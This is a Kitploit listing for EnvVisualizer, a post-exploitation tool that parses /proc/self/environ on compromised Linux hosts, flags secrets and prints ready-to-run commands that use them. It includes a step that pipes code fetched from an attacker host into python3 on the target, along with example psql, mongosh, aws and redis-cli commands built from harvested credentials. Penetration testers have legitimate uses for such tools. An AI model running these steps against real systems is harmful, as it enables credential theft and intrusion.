Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!
EnvVisualizer — Parse and visualize /proc/self/environ on compromised Linux boxes — categorizes env vars by tech stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) and generates severity-rated insights with ready-to-run commands | Kitploit
Parse and visualize /proc/self/environ on compromised Linux boxes — categorizes env vars by tech stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) and generates severity-rated insights with ready-to-run commands
Parse, categorize, and visualize /proc/self/environ on compromised Linux machines.
Turn a wall of fused environment variable text into structured, color-coded intel — in seconds.
With rich installed, each category gets its own color-coded table.
Features
Three input modes — read the file directly (perfect accuracy), pipe via stdin, or paste a raw string
Smart two-class parser — correctly handles concatenated strings where null bytes were stripped by copy-paste; detects uppercase POSIX vars and known lowercase prefixed vars (npm_*, node_*, pip_*, etc.)
Six semantic categories — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System, and Other
PATH expansion — each directory listed as a bullet point instead of a colon-separated wall
Secret detection — flags variables whose names or values match credential patterns (TOKEN, KEY, SECRET, PASSWORD, etc.) with a ⚠ warning
Rich or plain — color-coded tables with rich installed; clean plain-text output as a fallback (zero dependencies required)
Installation
Option 1 — Clone and run (recommended for pentest environments)
root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich # optional but recommended
python3 envvisualizer.py --help
Option 2 — Install as a system command
root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help
Option 3 — Single-file drop (no git required)
Copy envvisualizer.py to the target or attacker machine. It runs with zero dependencies:
root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
Requirements
Dependency
Version
Required
Python
≥ 3.8
Yes
rich
≥ 13.0
No (plain-text fallback)
Usage
root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
Input modes
Method
Command
Accuracy
Direct file read
python3 envvisualizer.py -f /proc/self/environ
✅ Perfect (null-byte split)
Stdin pipe
cat /proc/self/environ | python3 envvisualizer.py
✅ Perfect (null-byte split)
Pasted string
python3 envvisualizer.py -r 'USER=dev...'
✅ Good (two-class heuristic)
No args (demo)
python3 envvisualizer.py
✅ Perfect (own process)
Tip: Prefer -f whenever you have file access.
The null-byte delimiter in the real file is exact — no heuristics needed.
Examples
Read directly from proc (best accuracy)
root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
Pipe via stdin
root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py
Paste a raw string (copy-pasted from a web shell / RCE output)
The Pentest Insights panel fires targeted, stack-aware detections with four severity levels.
Ready-to-run commands are generated on the fly from the actual values found in the environment.
Severity
Prefix
Meaning
💀 CRITICAL
[!!!]
Live credential, secret key, or master key — immediate impact
⚠ HIGH
[!! ]
Token, debug mode, or exposed service — actionable attack path
Injected KUBERNETES_SERVICE_HOST → flags pod context, suggests SA token read
Docker
DOCKER_HOST set → flags daemon exposure
GitHub / GitLab
Tokens → suggests API validation curl commands
Heroku
HEROKU_API_KEY → flags with app name
Stripe
Live sk_live_* → CRITICAL; test sk_test_* → MEDIUM
Datadog
DD_API_KEY → flags metrics/logs/traces access
Example output (multi-stack scenario)
root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
[!!!] PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
[!!!] DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
[!!!] MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
[!!!] AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE (run: aws sts get-caller-identity)
[!!!] HashiCorp Vault token in env → vault token lookup addr: http://vault.internal:8200
[!!!] Stripe LIVE secret key — production payment API access
[!!!] Rails master key in env — decrypts config/credentials.yml.enc
[!! ] Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
[!! ] Inside Kubernetes pod → service host: 10.96.0.1
[!! ] GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
[!! ] Django DEBUG=True — full stack traces served to users
[!! ] JVM remote debugging enabled → -agentlib:jdwp=... (try: jdb -attach <host>:<port>)
[ * ] Python venv active → /var/www/myapp/.venv
How the String Parser Works
When /proc/self/environ is copy-pasted (e.g., from a web shell or curl output), null bytes are stripped, fusing adjacent variables:
root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
↑──↑↑───────────────────↑
value next key starts here
A naive WORD= split would produce devnpm_config_user_agent as the key.
EnvVisualizer uses a two-class boundary detector that only splits on:
Uppercase-dominant keys — USER, HOME, JOURNAL_STREAM, etc.
Known lowercase prefixes — npm_*, node_*, pip_*, java_*, python_*, ruby_*, etc.
Because the regex finds npm_config_user_agentwithin the fused token, the previous value is automatically trimmed to dev. No lookbehind, no word-boundary assumptions — just the key pattern itself as the anchor.
